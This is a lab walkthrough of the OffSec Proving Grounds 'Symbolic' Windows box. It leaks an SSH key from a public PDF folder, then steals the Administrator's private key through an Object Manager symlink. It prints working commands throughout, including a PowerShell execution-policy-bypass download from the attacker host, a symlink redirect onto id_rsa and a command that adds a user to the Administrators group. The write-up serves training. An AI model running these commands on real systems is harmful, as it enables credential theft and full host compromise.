OffSec Proving Grounds Symbolic — Symlink to Admin SSH
In this Art of Vector walkthrough, we take OffSec Proving Grounds Symbolic from a two-port Windows web host to Administrator over SSH by recovering a leaked private key from a generated PDF, then chaining an Object Manager symbolic link with James Forshaw's CreateSymlink.exe to steal the administrator's id_rsa. We also note SeTcbPrivilege and the textbook tcb.exe path — documented for context, but not what worked in this run.
Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.
Summary
Symbolic (192.168.120.177, hostname SYMBOLIC) exposes SSH and Apache/PHP with a WebPage to PDF converter (XAMPP). Directory brute-force finds /Pdfs/ with predictable hash-named PDFs. One PDF embeds p4yl0ad's OpenSSH private key — initial access.
On the box, p4yl0ad holds SeTcbPrivilege (Act as part of the operating system) — a red herring / alternate write-up path on some guides. What actually worked: CreateSymlink.exe repoints the web app's log file to C:\Users\Administrator\.ssh\id_rsa, so the logging pipeline copies the administrator key into attacker-readable logs. SSH as administrator finishes the box.
Attack chain (end-to-end)
nmap → gobuster (/Pdfs/) → download PDF → extract id_rsa
→ SSH p4yl0ad → whoami /priv (SeTcbPrivilege — note, don't rely on tcb.exe here)
→ CreateSymlink: logs\request.log → Administrator\.ssh\id_rsa
→ trigger PDF app / read backup log → admin_id_rsa
→ SSH administrator → flags
Phase 0 — Kali prep
0.1 Working directory
mkdir -p ~/aov_lab/Symbolic
cd ~/aov_lab/Symbolic
0.2 Confirm routable IP (for hosting tools later)
ip -4 addr show
Lab run used 192.168.45.182. You will serve CreateSymlink.exe from this address.
0.3 Host CreateSymlink.exe (before you need it on the box)
Download CreateSymlink (Google Project Zero) on Kali, then:
# from the directory containing CreateSymlink.exe
python3 -m http.server 80
# or copy to a web root and serve on port 80
On Windows you will pull:
powershell -ep bypass -c "iwr http://192.168.45.182/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"
Host CreateSymlink.exe only — you do not need tcb.exe for the working path on this box.
Phase 1 — Port scan
1.1 Full TCP scan
nmap -sV -sC -p- 192.168.120.177 -v
Notable results:
Nmap scan report for 192.168.120.177
Host is up (0.026s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:40:e2:ef:21:ea:c1:77:b6:14:a3:f7:04:59:45:28 (RSA)
| 256 f8:fb:e3:c6:16:3a:e2:62:d0:e2:ae:d4:f2:9e:6f:6d (ECDSA)
|_ 256 94:5e:97:ad:f9:0f:81:b6:6b:3b:bd:98:43:c0:0d:6a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: WebPage to PDF
1.2 What this tells you
| Signal | Hunt angle |
|---|---|
| OpenSSH on Windows | Key-based auth likely; look for leaked keys |
| Apache + PHP 8.0.7 | XAMPP-style stack; web roots under C:\xampp\htdocs\ |
| Title: WebPage to PDF | User-supplied URLs → PDF; often writes logs and output PDFs to disk |
| Only 22 + 80 open | Entire attack surface is web → SSH; no RDP shortcut |
Browse manually:
curl -s http://192.168.120.177/ | head -50
Identify the PDF conversion form (URL input, submit button, any hint about output location).
Phase 2 — Directory enumeration
2.1 Gobuster
gobuster dir -u http://192.168.120.177/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
--exclude-length 0
Interesting hits:
logs (Status: 301) [--> http://192.168.120.177/logs/]
pdfs (Status: 301) [--> http://192.168.120.177/pdfs/]
PDFs (Status: 301) [--> http://192.168.120.177/PDFs/]
phpmyadmin (Status: 403)
webalizer (Status: 403)
server-status (Status: 403)
Case-insensitive Apache aliases (pdfs, PDFs, Pdfs) all resolve — directory listing may be enabled under one of them.
2.2 Why /Pdfs/ matters
The PDF converter saves finished files under a public web folder. If directory listing is on (or filenames are guessable MD5/SHA1 hashes of the input URL), every conversion becomes a direct download link. That is a classic misconfiguration: output artifacts are world-readable.
Enumerate:
curl -s http://192.168.120.177/Pdfs/ | grep -oP 'href="[^"]+\.pdf"' | head -20
# or browse in Firefox
Lab PDF (example):
http://192.168.120.177/Pdfs/abf668cc40f70bd74ce74e67eb397c27.pdf
Phase 3 — Initial access: SSH key in PDF
3.1 Download and inspect the PDF
wget -O symbolic.pdf \
'http://192.168.120.177/Pdfs/abf668cc40f70bd74ce74e67eb397c27.pdf'
Extract text (any of these):
pdftotext symbolic.pdf -
strings symbolic.pdf | grep -A2 'BEGIN OPENSSH'
You should see a block like:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
... (truncated in writeup — save full key from PDF)
-----END OPENSSH PRIVATE KEY-----
Comment in the decoded key indicates user p4yl0ad@SYMBOLIC.
3.2 Why the key is in the PDF (root cause)
The WebPage-to-PDF pipeline likely:
- Fetches a URL or local resource supplied by whoever triggered the conversion, or
- Embeds debug / request metadata (headers, footers, environment) into the PDF, or
- A developer once converted a page that displayed or linked the private key (e.g. internal notes,
file://path, or pasted key in HTML).
Regardless of which UI path created this file, the impact is the same: a secret stored on disk was copied into a world-readable PDF under /Pdfs/. Never commit real private keys to a public blog — rotate in lab; in the post, redact or describe only.
3.3 Save and use the key
# paste ONLY the key block into id_rsa
chmod 400 id_rsa
ssh -i id_rsa p4yl0ad@192.168.120.177
Accept the host key on first connect:
Are you sure you want to continue connecting (yes/no)? yes
You land in a Windows OpenSSH session as p4yl0ad@SYMBOLIC.
Phase 4 — Privilege enumeration
4.1 Check token privileges
whoami /priv
Lab output (abridged):
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ==================================== =======
SeTcbPrivilege Act as part of the operating system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
4.2 Why SeTcbPrivilege is critical
SeTcbPrivilege (Act as part of the operating system) is one of the most powerful privileges on Windows. Holders can authenticate as any user and bypass normal access checks when calling LsaLogonUser / similar APIs.
It is not granted to normal users on production systems. On this box it is Enabled for p4yl0ad — an intentional PG misconfiguration for privilege escalation.
Typical abuse tools:
| Tool | What it does |
|---|---|
tcb.exe | Uses TCB privilege to spawn processes with elevated / SYSTEM-equivalent context |
Manual CreateProcessAsUser PoCs | Same class of bug |
Some write-ups suggest tcb.exe for a direct admin path when SeTcbPrivilege is enabled. In this lab run, tcb.exe did not work (command ran but p4yl0ad never joined Administrators). That is fine — the intended / working solve is the symlink chain below. We still document the TCB angle because it explains why whoami /priv flags that privilege during recon.
Phase 5 — Symbolic link to steal Administrator SSH key (working path)
This is the Symbolic namesake: abuse symbolic links so a high-value file is copied into a location p4yl0ad can read.
5.1 Why symlinks work here
Windows has several link types:
| Type | Created by | Cross-volume |
|---|---|---|
| Shortcut (.lnk) | User | N/A |
| Hard link | CreateHardLink | Same volume only |
| Symbolic link (file) | SeCreateSymbolicLinkPrivilege | Yes |
| Object Manager symlink | Tools like CreateSymlink.exe | Yes — tricks privileged services into opening attacker-chosen paths |
The web/PDF stack writes HTTP request logs under:
C:\xampp\htdocs\logs\
The Administrator account uses OpenSSH for Windows with keys at:
C:\Users\Administrator\.ssh\id_rsa
Goal: Make the application (or its logging/backup job) read id_rsa when it thinks it is opening logs\request.log, then store or echo that content somewhere p4yl0ad reads — e.g. C:\backup\logs\<timestamp>.
5.2 Download CreateSymlink.exe on the target
On Kali (port 80):
python3 -m http.server 80
On SYMBOLIC (PowerShell):
powershell -ep bypass -c "iwr http://192.168.45.182/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"
CreateSymlink.exe (Project Zero) creates Global symlink objects in \RPC Control\ that redirect opens of request.log to \??\C:\Users\Administrator\.ssh\id_rsa.
5.3 Remove the real logs directory
cd C:\backup
Remove-Item -Recurse -Force "C:\xampp\htdocs\logs"
# confirm: Y
Why delete first: You need the next open/create on logs\request.log to hit your symlink, not an existing real file or directory layout.
5.4 Create the symlink
.\CreateSymlink.exe 'C:\xampp\htdocs\logs\request.log' 'C:\Users\Administrator\.ssh\id_rsa'
Expected:
Opened Link \RPC Control\request.log -> \??\C:\Users\Administrator\.ssh\id_rsa: 00000158
Press ENTER to exit and delete the symlink
Leave the tool running or press ENTER only after you capture the key (depending on timing — if the link disappears, recreate before triggering the app).
What this means: Any process that opens C:\xampp\htdocs\logs\request.log (via the object manager path) is redirected to the administrator's private key file.
5.5 Trigger the WebPage-to-PDF / logging pipeline
Generate fresh traffic so the app touches the log path:
- Browse
http://192.168.120.177/from Kali. - Submit a new URL for PDF conversion (any valid http(s) page).
- Wait for a new timestamped log under
C:\backup\logs\(backup job path on this box).
5.6 Read the exfiltrated key
cd C:\backup\logs
dir
type 09-13-2026_18_33_49
(File name is timestamp-based — use dir for the exact name on your run.)
Output begins with:
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
Save on Kali as admin_id_rsa, chmod 400, do not publish the full key in a blog post.
Phase 6 — Administrator SSH session
6.1 Connect as administrator
On Kali:
chmod 400 admin_id_rsa
ssh administrator@192.168.120.177 -i admin_id_rsa
Success:
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.
administrator@SYMBOLIC C:\Users\Administrator>
6.2 Confirm impact
whoami
whoami /groups
hostname
You are the built-in Administrator on SYMBOLIC — full host compromise via SSH.
Phase 7 — Optional: HTTP server on Kali (reference)
Minimal file hosting layout used during the lab:
cd ~/aov_lab/Symbolic
# place CreateSymlink.exe here
python3 -m http.server 80
Windows pull pattern:
powershell -ep bypass -c "iwr http://<KALI_IP>/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"
Replace <KALI_IP> with your interface IP (e.g. 192.168.45.182).
Common failure points
| Symptom | Likely cause | Fix |
|---|---|---|
| SSH "Permissions too open" | id_rsa mode too wide | chmod 400 id_rsa |
| Gobuster finds no PDFs | Wrong case path | Try /Pdfs/, /pdfs/, /PDFs/ |
| PDF has no key | Wrong/old PDF file | List dir again; download newest hash |
tcb.exe runs but no admin | Common on this box — use CreateSymlink instead | Skip TCB; symlink path is the working solve |
| CreateSymlink "access denied" | Missing symlink privilege | Run from p4yl0ad context on PG (lab grants rights); use CreateSymlink.exe, not manual mklink |
| Symlink created but no key in log | App not triggered | Generate new PDF; check C:\backup\logs and C:\xampp\htdocs\logs |
iwr fails | Kali firewall / wrong IP | curl -I http://KALI/ from Windows; bind python3 -m http.server 80 |
| Admin SSH denied | Incomplete key file | Ensure -----BEGIN/END----- lines intact; UNIX line endings |
Key takeaways
- Generated artifacts (PDFs, exports, caches) are secret-leak territory — treat
/Pdfs/like a public S3 bucket. SeTcbPrivilegelooks like an easy win — always runwhoami /priv, but verify the abuse tool actually works; symlink was the real path here.- Symbolic links let you redirect privileged file opens — the lab name is the hint.
- OpenSSH on Windows means administrator keys live at
C:\Users\Administrator\.ssh\— high value for symlink targets. - Chain web misconfig → key leak → privesc → second credential mirrors real engagements where PDF/report services exfil secrets.
References
- CreateSymlink / symbolic link testing tools (Google Project Zero)
- Windows privilege constants — SeTcbPrivilege
- OpenSSH for Windows key paths
- OffSec Proving Grounds — Symbolic (authorized lab environment)
One-line summary
nmap → gobuster /Pdfs/ → SSH key in PDF → p4yl0ad → CreateSymlink request.log → Administrator id_rsa → SSH administrator → flags.
Appendix — tcb.exe (textbook path; did not work here)
Some Symbolic write-ups show adding yourself to Administrators with SeTcbPrivilege:
cd C:\backup
.\tcb.exe "C:\Windows\system32\cmd.exe /c net localgroup administrators p4yl0ad /add"
Why it appears in guides: SeTcbPrivilege (Act as part of the operating system) lets a process authenticate as arbitrary users — abuse tools like tcb.exe wrap that into "run this command as SYSTEM/TCB."
Why we keep it in the post: Recon value — when you see SeTcbPrivilege Enabled, you should try the TCB angle once. It teaches the privilege class even when this instance blocks it.
What happened on this run: Command returned without adding p4yl0ad to Administrators (whoami /groups unchanged). Do not burn time debugging TCB — pivot to CreateSymlink (Phase 5), which is what the lab name signals anyway.
